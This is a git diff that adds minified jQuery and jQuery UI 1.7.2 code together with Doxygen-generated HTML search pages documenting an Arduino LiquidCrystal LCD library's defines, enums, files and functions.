E=I?"Left":"Top",H=I?"Right":"Bottom",F=G.toLowerCase();o.fn["inner"+G]=function(){return this[0]?o.css(this[0],F,false,"padding"):null};o.fn["outer"+G]=function(K){return this[0]?o.css(this[0],F,false,K?"margin":"border"):null};var J=G.toLowerCase();o.fn[J]=function(K){return this[0]==l?document.compatMode=="CSS1Compat"&&document.documentElement["client"+G]||document.body["client"+G]:this[0]==document?Math.max(document.documentElement["client"+G],document.body["scroll"+G],document.documentElement["scroll"+G],document.body["offset"+G],document.documentElement["offset"+G]):K===g?(this.length?o.css(this[0],J):null):this.css(J,typeof K==="string"?K:K+"px")}})})(); +/* + * jQuery UI 1.7.2 + * + * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT (MIT-LICENSE.txt) + * and GPL (GPL-LICENSE.txt) licenses. + * + * http://docs.jquery.com/UI + */ +jQuery.ui||(function(c){var i=c.fn.remove,d=c.browser.mozilla&&(parseFloat(c.browser.version)<1.9);c.ui={version:"1.7.2",plugin:{add:function(k,l,n){var m=c.ui[k].prototype;for(var j in n){m.plugins[j]=m.plugins[j]||[];m.plugins[j].push([l,n[j]])}},call:function(j,l,k){var n=j.plugins[l];if(!n||!j.element[0].parentNode){return}for(var m=0;m0){return true}m[j]=1;l=(m[j]>0);m[j]=0;return l},isOverAxis:function(k,j,l){return(k>j)&&(k<(j+l))},isOver:function(o,k,n,m,j,l){return c.ui.isOverAxis(o,n,j)&&c.ui.isOverAxis(k,m,l)},keyCode:{BACKSPACE:8,CAPS_LOCK:20,COMMA:188,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38}};if(d){var f=c.attr,e=c.fn.removeAttr,h="http://www.w3.org/2005/07/aaa",a=/^aria-/,b=/^wairole:/;c.attr=function(k,j,l){var m=l!==undefined;return(j=="role"?(m?f.call(this,k,j,"wairole:"+l):(f.apply(this,arguments)||"").replace(b,"")):(a.test(j)?(m?k.setAttributeNS(h,j.replace(a,"aaa:"),l):f.call(this,k,j.replace(a,"aaa:"))):f.apply(this,arguments)))};c.fn.removeAttr=function(j){return(a.test(j)?this.each(function(){this.removeAttributeNS(h,j.replace(a,""))}):e.call(this,j))}}c.fn.extend({remove:function(){c("*",this).add(this).each(function(){c(this).triggerHandler("remove")});return i.apply(this,arguments)},enableSelection:function(){return this.attr("unselectable","off").css("MozUserSelect","").unbind("selectstart.ui")},disableSelection:function(){return this.attr("unselectable","on").css("MozUserSelect","none").bind("selectstart.ui",function(){return false})},scrollParent:function(){var j;if((c.browser.msie&&(/(static|relative)/).test(this.css("position")))||(/absolute/).test(this.css("position"))){j=this.parents().filter(function(){return(/(relative|absolute|fixed)/).test(c.curCSS(this,"position",1))&&(/(auto|scroll)/).test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0)}else{j=this.parents().filter(function(){return(/(auto|scroll)/).test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0)}return(/fixed/).test(this.css("position"))||!j.length?c(document):j}});c.extend(c.expr[":"],{data:function(l,k,j){return !!c.data(l,j[3])},focusable:function(k){var l=k.nodeName.toLowerCase(),j=c.attr(k,"tabindex");return(/input|select|textarea|button|object/.test(l)?!k.disabled:"a"==l||"area"==l?k.href||!isNaN(j):!isNaN(j))&&!c(k)["area"==l?"parents":"closest"](":hidden").length},tabbable:function(k){var j=c.attr(k,"tabindex");return(isNaN(j)||j>=0)&&c(k).is(":focusable")}});function g(m,n,o,l){function k(q){var p=c[m][n][q]||[];return(typeof p=="string"?p.split(/,?\s+/):p)}var j=k("getter");if(l.length==1&&typeof l[0]=="string"){j=j.concat(k("getterSetter"))}return(c.inArray(o,j)!=-1)}c.widget=function(k,j){var l=k.split(".")[0];k=k.split(".")[1];c.fn[k]=function(p){var n=(typeof p=="string"),o=Array.prototype.slice.call(arguments,1);if(n&&p.substring(0,1)=="_"){return this}if(n&&g(l,k,p,o)){var m=c.data(this[0],k);return(m?m[p].apply(m,o):undefined)}return this.each(function(){var q=c.data(this,k);(!q&&!n&&c.data(this,k,new c[l][k](this,p))._init());(q&&n&&c.isFunction(q[p])&&q[p].apply(q,o))})};c[l]=c[l]||{};c[l][k]=function(o,n){var m=this;this.namespace=l;this.widgetName=k;this.widgetEventPrefix=c[l][k].eventPrefix||k;this.widgetBaseClass=l+"-"+k;this.options=c.extend({},c.widget.defaults,c[l][k].defaults,c.metadata&&c.metadata.get(o)[k],n);this.element=c(o).bind("setData."+k,function(q,p,r){if(q.target==o){return m._setData(p,r)}}).bind("getData."+k,function(q,p){if(q.target==o){return m._getData(p)}}).bind("remove",function(){return m.destroy()})};c[l][k].prototype=c.extend({},c.widget.prototype,j);c[l][k].getterSetter="option"};c.widget.prototype={_init:function(){},destroy:function(){this.element.removeData(this.widgetName).removeClass(this.widgetBaseClass+"-disabled "+this.namespace+"-state-disabled").removeAttr("aria-disabled")},option:function(l,m){var k=l,j=this;if(typeof l=="string"){if(m===undefined){return this._getData(l)}k={};k[l]=m}c.each(k,function(n,o){j._setData(n,o)})},_getData:function(j){return this.options[j]},_setData:function(j,k){this.options[j]=k;if(j=="disabled"){this.element[k?"addClass":"removeClass"](this.widgetBaseClass+"-disabled "+this.namespace+"-state-disabled").attr("aria-disabled",k)}},enable:function(){this._setData("disabled",false)},disable:function(){this._setData("disabled",true)},_trigger:function(l,m,n){var p=this.options[l],j=(l==this.widgetEventPrefix?l:this.widgetEventPrefix+l);m=c.Event(m);m.type=j;if(m.originalEvent){for(var k=c.event.props.length,o;k;){o=c.event.props[--k];m[o]=m.originalEvent[o]}}this.element.trigger(m,n);return !(c.isFunction(p)&&p.call(this.element[0],m,n)===false||m.isDefaultPrevented())}};c.widget.defaults={disabled:false};c.ui.mouse={_mouseInit:function(){var j=this;this.element.bind("mousedown."+this.widgetName,function(k){return j._mouseDown(k)}).bind("click."+this.widgetName,function(k){if(j._preventClickEvent){j._preventClickEvent=false;k.stopImmediatePropagation();return false}});if(c.browser.msie){this._mouseUnselectable=this.element.attr("unselectable");this.element.attr("unselectable","on")}this.started=false},_mouseDestroy:function(){this.element.unbind("."+this.widgetName);(c.browser.msie&&this.element.attr("unselectable",this._mouseUnselectable))},_mouseDown:function(l){l.originalEvent=l.originalEvent||{};if(l.originalEvent.mouseHandled){return}(this._mouseStarted&&this._mouseUp(l));this._mouseDownEvent=l;var k=this,m=(l.which==1),j=(typeof this.options.cancel=="string"?c(l.target).parents().add(l.target).filter(this.options.cancel).length:false);if(!m||j||!this._mouseCapture(l)){return true}this.mouseDelayMet=!this.options.delay;if(!this.mouseDelayMet){this._mouseDelayTimer=setTimeout(function(){k.mouseDelayMet=true},this.options.delay)}if(this._mouseDistanceMet(l)&&this._mouseDelayMet(l)){this._mouseStarted=(this._mouseStart(l)!==false);if(!this._mouseStarted){l.preventDefault();return true}}this._mouseMoveDelegate=function(n){return k._mouseMove(n)};this._mouseUpDelegate=function(n){return k._mouseUp(n)};c(document).bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate);(c.browser.safari||l.preventDefault());l.originalEvent.mouseHandled=true;return true},_mouseMove:function(j){if(c.browser.msie&&!j.button){return this._mouseUp(j)}if(this._mouseStarted){this._mouseDrag(j);return j.preventDefault()}if(this._mouseDistanceMet(j)&&this._mouseDelayMet(j)){this._mouseStarted=(this._mouseStart(this._mouseDownEvent,j)!==false);(this._mouseStarted?this._mouseDrag(j):this._mouseUp(j))}return !this._mouseStarted},_mouseUp:function(j){c(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate);if(this._mouseStarted){this._mouseStarted=false;this._preventClickEvent=(j.target==this._mouseDownEvent.target);this._mouseStop(j)}return false},_mouseDistanceMet:function(j){return(Math.max(Math.abs(this._mouseDownEvent.pageX-j.pageX),Math.abs(this._mouseDownEvent.pageY-j.pageY))>=this.options.distance)},_mouseDelayMet:function(j){return this.mouseDelayMet},_mouseStart:function(j){},_mouseDrag:function(j){},_mouseStop:function(j){},_mouseCapture:function(j){return true}};c.ui.mouse.defaults={cancel:null,distance:1,delay:0}})(jQuery);;/* * jQuery UI Resizable 1.7.2 + * + * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT (MIT-LICENSE.txt) + * and GPL (GPL-LICENSE.txt) licenses. + * + * http://docs.jquery.com/UI/Resizables + * + * Depends: + * ui.core.js + */ +(function(c){c.widget("ui.resizable",c.extend({},c.ui.mouse,{_init:function(){var e=this,j=this.options;this.element.addClass("ui-resizable");c.extend(this,{_aspectRatio:!!(j.aspectRatio),aspectRatio:j.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:j.helper||j.ghost||j.animate?j.helper||"ui-resizable-helper":null});if(this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)){if(/relative/.test(this.element.css("position"))&&c.browser.opera){this.element.css({position:"relative",top:"auto",left:"auto"})}this.element.wrap(c('
').css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")}));this.element=this.element.parent().data("resizable",this.element.data("resizable"));this.elementIsWrapper=true;this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")});this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0});this.originalResizeStyle=this.originalElement.css("resize");this.originalElement.css("resize","none");this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"}));this.originalElement.css({margin:this.originalElement.css("margin")});this._proportionallyResize()}this.handles=j.handles||(!c(".ui-resizable-handle",this.element).length?"e,s,se":{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"});if(this.handles.constructor==String){if(this.handles=="all"){this.handles="n,e,s,w,se,sw,ne,nw"}var k=this.handles.split(",");this.handles={};for(var f=0;f
');if(/sw|se|ne|nw/.test(h)){g.css({zIndex:++j.zIndex})}if("se"==h){g.addClass("ui-icon ui-icon-gripsmall-diagonal-se")}this.handles[h]=".ui-resizable-"+h;this.element.append(g)}}this._renderAxis=function(p){p=p||this.element;for(var m in this.handles){if(this.handles[m].constructor==String){this.handles[m]=c(this.handles[m],this.element).show()}if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var n=c(this.handles[m],this.element),o=0;o=/sw|ne|nw|se|n|s/.test(m)?n.outerHeight():n.outerWidth();var l=["padding",/ne|nw|n/.test(m)?"Top":/se|sw|s/.test(m)?"Bottom":/^e$/.test(m)?"Right":"Left"].join("");p.css(l,o);this._proportionallyResize()}if(!c(this.handles[m]).length){continue}}};this._renderAxis(this.element);this._handles=c(".ui-resizable-handle",this.element).disableSelection();this._handles.mouseover(function(){if(!e.resizing){if(this.className){var i=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)}e.axis=i&&i[1]?i[1]:"se"}});if(j.autoHide){this._handles.hide();c(this.element).addClass("ui-resizable-autohide").hover(function(){c(this).removeClass("ui-resizable-autohide");e._handles.show()},function(){if(!e.resizing){c(this).addClass("ui-resizable-autohide");e._handles.hide()}})}this._mouseInit()},destroy:function(){this._mouseDestroy();var d=function(f){c(f).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};if(this.elementIsWrapper){d(this.element);var e=this.element;e.parent().append(this.originalElement.css({position:e.css("position"),width:e.outerWidth(),height:e.outerHeight(),top:e.css("top"),left:e.css("left")})).end().remove()}this.originalElement.css("resize",this.originalResizeStyle);d(this.originalElement)},_mouseCapture:function(e){var f=false;for(var d in this.handles){if(c(this.handles[d])[0]==e.target){f=true}}return this.options.disabled||!!f},_mouseStart:function(f){var i=this.options,e=this.element.position(),d=this.element;this.resizing=true;this.documentScroll={top:c(document).scrollTop(),left:c(document).scrollLeft()};if(d.is(".ui-draggable")||(/absolute/).test(d.css("position"))){d.css({position:"absolute",top:e.top,left:e.left})}if(c.browser.opera&&(/relative/).test(d.css("position"))){d.css({position:"relative",top:"auto",left:"auto"})}this._renderProxy();var j=b(this.helper.css("left")),g=b(this.helper.css("top"));if(i.containment){j+=c(i.containment).scrollLeft()||0;g+=c(i.containment).scrollTop()||0}this.offset=this.helper.offset();this.position={left:j,top:g};this.size=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalSize=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalPosition={left:j,top:g};this.sizeDiff={width:d.outerWidth()-d.width(),height:d.outerHeight()-d.height()};this.originalMousePosition={left:f.pageX,top:f.pageY};this.aspectRatio=(typeof i.aspectRatio=="number")?i.aspectRatio:((this.originalSize.width/this.originalSize.height)||1);var h=c(".ui-resizable-"+this.axis).css("cursor");c("body").css("cursor",h=="auto"?this.axis+"-resize":h);d.addClass("ui-resizable-resizing");this._propagate("start",f);return true},_mouseDrag:function(d){var g=this.helper,f=this.options,l={},p=this,i=this.originalMousePosition,m=this.axis;var q=(d.pageX-i.left)||0,n=(d.pageY-i.top)||0;var h=this._change[m];if(!h){return false}var k=h.apply(this,[d,q,n]),j=c.browser.msie&&c.browser.version<7,e=this.sizeDiff;if(this._aspectRatio||d.shiftKey){k=this._updateRatio(k,d)}k=this._respectSize(k,d);this._propagate("resize",d);g.css({top:this.position.top+"px",left:this.position.left+"px",width:this.size.width+"px",height:this.size.height+"px"});if(!this._helper&&this._proportionallyResizeElements.length){this._proportionallyResize()}this._updateCache(k);this._trigger("resize",d,this.ui());return false},_mouseStop:function(g){this.resizing=false;var h=this.options,l=this;if(this._helper){var f=this._proportionallyResizeElements,d=f.length&&(/textarea/i).test(f[0].nodeName),e=d&&c.ui.hasScroll(f[0],"left")?0:l.sizeDiff.height,j=d?0:l.sizeDiff.width;var m={width:(l.size.width-j),height:(l.size.height-e)},i=(parseInt(l.element.css("left"),10)+(l.position.left-l.originalPosition.left))||null,k=(parseInt(l.element.css("top"),10)+(l.position.top-l.originalPosition.top))||null;if(!h.animate){this.element.css(c.extend(m,{top:k,left:i}))}l.helper.height(l.size.height);l.helper.width(l.size.width);if(this._helper&&!h.animate){this._proportionallyResize()}}c("body").css("cursor","auto");this.element.removeClass("ui-resizable-resizing");this._propagate("stop",g);if(this._helper){this.helper.remove()}return false},_updateCache:function(d){var e=this.options;this.offset=this.helper.offset();if(a(d.left)){this.position.left=d.left}if(a(d.top)){this.position.top=d.top}if(a(d.height)){this.size.height=d.height}if(a(d.width)){this.size.width=d.width}},_updateRatio:function(g,f){var h=this.options,i=this.position,e=this.size,d=this.axis;if(g.height){g.width=(e.height*this.aspectRatio)}else{if(g.width){g.height=(e.width/this.aspectRatio)}}if(d=="sw"){g.left=i.left+(e.width-g.width);g.top=null}if(d=="nw"){g.top=i.top+(e.height-g.height);g.left=i.left+(e.width-g.width)}return g},_respectSize:function(k,f){var i=this.helper,h=this.options,q=this._aspectRatio||f.shiftKey,p=this.axis,s=a(k.width)&&h.maxWidth&&(h.maxWidthk.width),r=a(k.height)&&h.minHeight&&(h.minHeight>k.height);if(g){k.width=h.minWidth}if(r){k.height=h.minHeight}if(s){k.width=h.maxWidth}if(l){k.height=h.maxHeight}var e=this.originalPosition.left+this.originalSize.width,n=this.position.top+this.size.height;var j=/sw|nw|w/.test(p),d=/nw|ne|n/.test(p);if(g&&j){k.left=e-h.minWidth}if(s&&j){k.left=e-h.maxWidth}if(r&&d){k.top=n-h.minHeight}if(l&&d){k.top=n-h.maxHeight}var m=!k.width&&!k.height;if(m&&!k.left&&k.top){k.top=null}else{if(m&&!k.top&&k.left){k.left=null}}return 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f={width:(n.size.width-k),height:(n.size.height-e)},j=(parseInt(n.element.css("left"),10)+(n.position.left-n.originalPosition.left))||null,l=(parseInt(n.element.css("top"),10)+(n.position.top-n.originalPosition.top))||null;n.element.animate(c.extend(f,l&&j?{top:l,left:j}:{}),{duration:i.animateDuration,easing:i.animateEasing,step:function(){var o={width:parseInt(n.element.css("width"),10),height:parseInt(n.element.css("height"),10),top:parseInt(n.element.css("top"),10),left:parseInt(n.element.css("left"),10)};if(g&&g.length){c(g[0]).css({width:o.width,height:o.height})}n._updateCache(o);n._propagate("resize",h)}})}});c.ui.plugin.add("resizable","containment",{start:function(e,q){var s=c(this).data("resizable"),i=s.options,k=s.element;var f=i.containment,j=(f instanceof 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s=c(this).data("resizable"),h=s.options,e=s.containerSize,n=s.containerOffset,l=s.size,m=s.position,q=s._aspectRatio||f.shiftKey,d={top:0,left:0},g=s.containerElement;if(g[0]!=document&&(/static/).test(g.css("position"))){d=n}if(m.left<(s._helper?n.left:0)){s.size.width=s.size.width+(s._helper?(s.position.left-n.left):(s.position.left-d.left));if(q){s.size.height=s.size.width/h.aspectRatio}s.position.left=h.helper?n.left:0}if(m.top<(s._helper?n.top:0)) +{s.size.height=s.size.height+(s._helper?(s.position.top-n.top):s.position.top);if(q){s.size.width=s.size.height*h.aspectRatio}s.position.top=s._helper?n.top:0}s.offset.left=s.parentData.left+s.position.left;s.offset.top=s.parentData.top+s.position.top;var k=Math.abs((s._helper?s.offset.left-d.left:(s.offset.left-d.left))+s.sizeDiff.width),r=Math.abs((s._helper?s.offset.top-d.top:(s.offset.top-n.top))+s.sizeDiff.height);var j=s.containerElement.get(0)==s.element.parent().get(0),i=/relative|absolute/.test(s.containerElement.css("position"));if(j&&i){k-=s.parentData.left}if(k+s.size.width>=s.parentData.width){s.size.width=s.parentData.width-k;if(q){s.size.height=s.size.width/s.aspectRatio}}if(r+s.size.height>=s.parentData.height){s.size.height=s.parentData.height-r;if(q){s.size.width=s.size.height*s.aspectRatio}}},stop:function(e,m){var p=c(this).data("resizable"),f=p.options,k=p.position,l=p.containerOffset,d=p.containerPosition,g=p.containerElement;var i=c(p.helper),q=i.offset(),n=i.outerWidth()-p.sizeDiff.width,j=i.outerHeight()-p.sizeDiff.height;if(p._helper&&!f.animate&&(/relative/).test(g.css("position"))){c(this).css({left:q.left-d.left-l.left,width:n,height:j})}if(p._helper&&!f.animate&&(/static/).test(g.css("position"))){c(this).css({left:q.left-d.left-l.left,width:n,height:j})}}});c.ui.plugin.add("resizable","ghost",{start:function(f,g){var d=c(this).data("resizable"),h=d.options,e=d.size;d.ghost=d.originalElement.clone();d.ghost.css({opacity:0.25,display:"block",position:"relative",height:e.height,width:e.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass(typeof h.ghost=="string"?h.ghost:"");d.ghost.appendTo(d.helper)},resize:function(e,f){var d=c(this).data("resizable"),g=d.options;if(d.ghost){d.ghost.css({position:"relative",height:d.size.height,width:d.size.width})}},stop:function(e,f){var d=c(this).data("resizable"),g=d.options;if(d.ghost&&d.helper){d.helper.get(0).removeChild(d.ghost.get(0))}}});c.ui.plugin.add("resizable","grid",{resize:function(d,l){var n=c(this).data("resizable"),g=n.options,j=n.size,h=n.originalSize,i=n.originalPosition,m=n.axis,k=g._aspectRatio||d.shiftKey;g.grid=typeof g.grid=="number"?[g.grid,g.grid]:g.grid;var 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Searching...
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No Matches
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+
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+
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+
+ moveCursorRight + LCD +
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+
Searching...
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No Matches
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+
Loading...
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+
+ NEGATIVE + LCD.h +
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+
Searching...
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No Matches
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+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_6f.html b/libraries/LiquidCrystal/docs/html/search/all_6f.html new file mode 100644 index 0000000..e5e659c --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_6f.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
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+
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+
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Searching...
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No Matches
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Searching...
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No Matches
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Loading...
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+
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+
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Searching...
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No Matches
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+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_74.html b/libraries/LiquidCrystal/docs/html/search/all_74.html new file mode 100644 index 0000000..61cec84 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_74.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
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+
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+
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+
+
Searching...
+
No Matches
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+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_77.html b/libraries/LiquidCrystal/docs/html/search/all_77.html new file mode 100644 index 0000000..d81a974 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_77.html @@ -0,0 +1,35 @@ + + + + + + + +
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Loading...
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+
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+ +
Searching...
+
No Matches
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+
Loading...
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+
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+
+
Searching...
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No Matches
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Loading...
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+
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Searching...
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No Matches
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+
Loading...
+
+
+ _I2CIO_VERSION + I2CIO.h +
+
+
Searching...
+
No Matches
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+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_61.html b/libraries/LiquidCrystal/docs/html/search/defines_61.html new file mode 100644 index 0000000..64e6e11 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_61.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ ATOMIC_BLOCK + FastIO.h +
+
+
+
+ ATOMIC_RESTORESTATE + FastIO.h +
+
+
Searching...
+
No Matches
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+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_62.html b/libraries/LiquidCrystal/docs/html/search/defines_62.html new file mode 100644 index 0000000..e65a734 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_62.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ BACKLIGHT_OFF + LCD.h +
+
+
+
+ BACKLIGHT_ON + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_63.html b/libraries/LiquidCrystal/docs/html/search/defines_63.html new file mode 100644 index 0000000..d74c25d --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_63.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ COMMAND + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_64.html b/libraries/LiquidCrystal/docs/html/search/defines_64.html new file mode 100644 index 0000000..f47ef02 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_64.html @@ -0,0 +1,62 @@ + + + + + + + +
+
Loading...
+ + + + +
+
+ DATA + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_65.html b/libraries/LiquidCrystal/docs/html/search/defines_65.html new file mode 100644 index 0000000..7ac4e79 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_65.html @@ -0,0 +1,35 @@ + + + + + + + +
+
Loading...
+ +
+
+ EXEC_TIME + LiquidCrystal.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_66.html b/libraries/LiquidCrystal/docs/html/search/defines_66.html new file mode 100644 index 0000000..6225879 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_66.html @@ -0,0 +1,56 @@ + + + + + + + +
+
Loading...
+
+
+ fio_digitalWrite_HIGH + FastIO.h +
+
+
+
+ fio_digitalWrite_LOW + FastIO.h +
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+ fio_digitalWrite_SWITCH + FastIO.h +
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+
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+
+
+ FIO_FALLBACK + FastIO.h +
+
+
+
+ FOUR_BITS + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_68.html b/libraries/LiquidCrystal/docs/html/search/defines_68.html new file mode 100644 index 0000000..28e210e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_68.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ HOME_CLEAR_EXEC + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_6c.html b/libraries/LiquidCrystal/docs/html/search/defines_6c.html new file mode 100644 index 0000000..525e0b4 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_6c.html @@ -0,0 +1,219 @@ + + + + + + + +
+
Loading...
+
+
+ LCD_1LINE + LCD.h +
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+
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+
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+
+ LCD_SETCGRAMADDR + LCD.h +
+
+
+
+ LCD_SETDDRAMADDR + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_72.html b/libraries/LiquidCrystal/docs/html/search/defines_72.html new file mode 100644 index 0000000..091148d --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_72.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+ + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_73.html b/libraries/LiquidCrystal/docs/html/search/defines_73.html new file mode 100644 index 0000000..d384df7 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_73.html @@ -0,0 +1,62 @@ + + + + + + + +
+
Loading...
+
+
+ SKIP + FastIO.h +
+
+
+
+ SR2W_BL_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR2W_DATA_MASK + LiquidCrystal_SR2W.h +
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+
+ SR_EN_BIT + LiquidCrystal_SR.h +
+
+
+
+ SR_RS_BIT + LiquidCrystal_SR.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_74.html b/libraries/LiquidCrystal/docs/html/search/defines_74.html new file mode 100644 index 0000000..ba27d7f --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_74.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ TWO_WIRE + LiquidCrystal_SR.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/enums_74.html b/libraries/LiquidCrystal/docs/html/search/enums_74.html new file mode 100644 index 0000000..2c24947 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/enums_74.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ t_backlighPol + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/enumvalues_6e.html b/libraries/LiquidCrystal/docs/html/search/enumvalues_6e.html new file mode 100644 index 0000000..13de3f4 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/enumvalues_6e.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ NEGATIVE + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/enumvalues_70.html b/libraries/LiquidCrystal/docs/html/search/enumvalues_70.html new file mode 100644 index 0000000..ccfeb29 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/enumvalues_70.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ POSITIVE + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/files_66.html b/libraries/LiquidCrystal/docs/html/search/files_66.html new file mode 100644 index 0000000..2eeecab --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/files_66.html @@ -0,0 +1,30 @@ + + + + + + + +
+
Loading...
+
+
+ FastIO.cpp +
+
+
+
+ FastIO.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/files_69.html b/libraries/LiquidCrystal/docs/html/search/files_69.html new file mode 100644 index 0000000..6d0e429 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/files_69.html @@ -0,0 +1,30 @@ + + + + + + + +
+
Loading...
+
+
+ I2CIO.cpp +
+
+
+
+ I2CIO.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/files_6c.html b/libraries/LiquidCrystal/docs/html/search/files_6c.html new file mode 100644 index 0000000..84551ce --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/files_6c.html @@ -0,0 +1,80 @@ + + + + + + + +
+
Loading...
+
+
+ LCD.cpp +
+
+
+
+ LCD.h +
+
+ + + + + + + + + + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_61.html b/libraries/LiquidCrystal/docs/html/search/functions_61.html new file mode 100644 index 0000000..7fb674c --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_61.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ autoscroll + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_62.html b/libraries/LiquidCrystal/docs/html/search/functions_62.html new file mode 100644 index 0000000..b75e8f6 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_62.html @@ -0,0 +1,42 @@ + + + + + + + +
+
Loading...
+
+
+ backlight + LCD +
+
+ + +
Searching...
+
No Matches
+ +
